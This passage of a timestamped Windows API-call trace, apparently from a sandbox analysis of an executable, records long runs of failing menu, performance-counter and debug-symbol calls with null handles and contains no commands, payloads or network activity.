fByPosition=0, lpmi=0x19fa50) returned 0 [0140.785] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.785] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.785] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.785] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.785] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.785] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.785] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.785] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.785] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.785] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.785] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.785] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.785] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.785] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.785] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.785] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.785] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.785] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.785] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.785] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.785] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.785] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.785] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.785] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.785] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.785] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.786] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.786] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.786] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.786] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.786] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.786] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.786] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.786] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.786] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.786] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.786] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.786] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.786] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.786] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.786] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.786] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.786] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.786] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.786] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.786] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.786] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.786] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.786] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.786] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.786] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.786] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.786] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.786] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.786] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.786] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.786] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.786] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.786] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.786] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.786] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.787] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.787] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0140.787] SHGetInverseCMAP (in: pbMap=0x19f9db, cbMap=0x0 | out: pbMap=0x19f9db) returned 0x80070057 [0140.788] CreateAcceleratorTableA (paccel=0x19fa20, cAccel=4) returned 0x90157 [0140.789] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.789] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.789] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.789] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.789] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.790] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.790] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.790] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.790] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.790] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.790] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.790] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.790] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.790] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.790] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.790] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.790] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.790] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.790] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.790] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.790] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.790] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.790] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.790] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.791] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.791] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.791] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.791] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.791] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.791] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.791] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.791] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.791] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.791] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.791] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.791] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.791] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.791] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.791] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.791] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.791] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.791] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.791] MoveWindow (hWnd=0x0, X=3452133, Y=0, nWidth=832, nHeight=17, bRepaint=0) returned 0 [0140.792] GetLastError () returned 0x578 [0140.792] SetLastError (dwErrCode=0x578) [0140.792] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0xc) returned 0x7c7c80 [0140.792] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0xc) returned 0x7c7a40 [0140.792] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0xc) returned 0x7c7cc8 [0140.792] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0xc) returned 0x7c7a58 [0140.792] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0xc) returned 0x7c7b78 [0140.792] GetLastError () returned 0x578 [0140.792] SetLastError (dwErrCode=0x578) [0140.807] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.817] SymCleanup (hProcess=0x0) returned 0 [0140.831] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.832] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.832] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.832] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.834] GetLastError () returned 0x579 [0140.834] SetLastError (dwErrCode=0x579) [0140.834] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.834] SymCleanup (hProcess=0x0) returned 0 [0140.834] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.834] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.834] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.834] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=843, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0140.834] GetLastError () returned 0x579 [0140.834] SetLastError (dwErrCode=0x579) [0140.834] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.834] SymCleanup (hProcess=0x0) returned 0 [0140.835] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.835] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.835] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.835] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.835] GetLastError () returned 0x579 [0140.835] SetLastError (dwErrCode=0x579) [0140.835] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.835] SymCleanup (hProcess=0x0) returned 0 [0140.835] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.835] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.835] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.835] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0140.835] GetLastError () returned 0x579 [0140.835] SetLastError (dwErrCode=0x579) [0140.835] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.835] SymCleanup (hProcess=0x0) returned 0 [0140.835] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.835] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.835] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.835] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1089, param_4=711, param_5=0x0, param_6=0x0) returned 0 [0140.835] GetLastError () returned 0x579 [0140.835] SetLastError (dwErrCode=0x579) [0140.836] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.836] SymCleanup (hProcess=0x0) returned 0 [0140.836] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.836] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.836] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.836] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.836] GetLastError () returned 0x579 [0140.836] SetLastError (dwErrCode=0x579) [0140.836] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.836] SymCleanup (hProcess=0x0) returned 0 [0140.836] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.836] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.836] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.836] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0140.836] GetLastError () returned 0x579 [0140.836] SetLastError (dwErrCode=0x579) [0140.836] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.836] SymCleanup (hProcess=0x0) returned 0 [0140.836] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.836] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.836] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.836] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.836] GetLastError () returned 0x579 [0140.837] SetLastError (dwErrCode=0x579) [0140.837] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.837] SymCleanup (hProcess=0x0) returned 0 [0140.837] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.837] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.837] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.837] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=848, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0140.837] GetLastError () returned 0x579 [0140.837] SetLastError (dwErrCode=0x579) [0140.837] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.837] SymCleanup (hProcess=0x0) returned 0 [0140.837] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.837] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.837] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.837] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=410, param_4=438, param_5=0x0, param_6=0x0) returned 0 [0140.837] GetLastError () returned 0x579 [0140.837] SetLastError (dwErrCode=0x579) [0140.837] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.837] SymCleanup (hProcess=0x0) returned 0 [0140.837] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.837] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.837] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.837] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.838] GetLastError () returned 0x579 [0140.838] SetLastError (dwErrCode=0x579) [0140.838] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.838] SymCleanup (hProcess=0x0) returned 0 [0140.838] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.838] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.838] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.838] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=849, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0140.838] GetLastError () returned 0x579 [0140.838] SetLastError (dwErrCode=0x579) [0140.838] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.838] SymCleanup (hProcess=0x0) returned 0 [0140.838] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.838] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.838] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.838] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.838] GetLastError () returned 0x579 [0140.838] SetLastError (dwErrCode=0x579) [0140.838] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.838] SymCleanup (hProcess=0x0) returned 0 [0140.838] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.838] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.838] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.839] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=849, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0140.839] GetLastError () returned 0x579 [0140.839] SetLastError (dwErrCode=0x579) [0140.839] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.839] SymCleanup (hProcess=0x0) returned 0 [0140.839] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.839] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.839] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.839] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1011, param_4=45, param_5=0x0, param_6=0x0) returned 0 [0140.839] GetLastError () returned 0x579 [0140.839] SetLastError (dwErrCode=0x579) [0140.839] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.839] SymCleanup (hProcess=0x0) returned 0 [0140.839] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.839] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.839] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.839] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.839] GetLastError () returned 0x579 [0140.839] SetLastError (dwErrCode=0x579) [0140.839] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.839] SymCleanup (hProcess=0x0) returned 0 [0140.840] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.840] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.840] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.840] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=849, param_4=116, param_5=0x0, param_6=0x0) returned 0 [0140.840] GetLastError () returned 0x579 [0140.840] SetLastError (dwErrCode=0x579) [0140.840] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.840] SymCleanup (hProcess=0x0) returned 0 [0140.840] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.840] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.840] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.840] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.840] GetLastError () returned 0x579 [0140.840] SetLastError (dwErrCode=0x579) [0140.840] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.840] SymCleanup (hProcess=0x0) returned 0 [0140.840] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.840] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.840] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.840] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0140.840] GetLastError () returned 0x579 [0140.841] SetLastError (dwErrCode=0x579) [0140.841] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.841] SymCleanup (hProcess=0x0) returned 0 [0140.841] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.841] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.841] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.841] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1354, param_4=79, param_5=0x0, param_6=0x0) returned 0 [0140.841] GetLastError () returned 0x579 [0140.841] SetLastError (dwErrCode=0x579) [0140.841] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.841] SymCleanup (hProcess=0x0) returned 0 [0140.841] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.841] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.841] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.841] 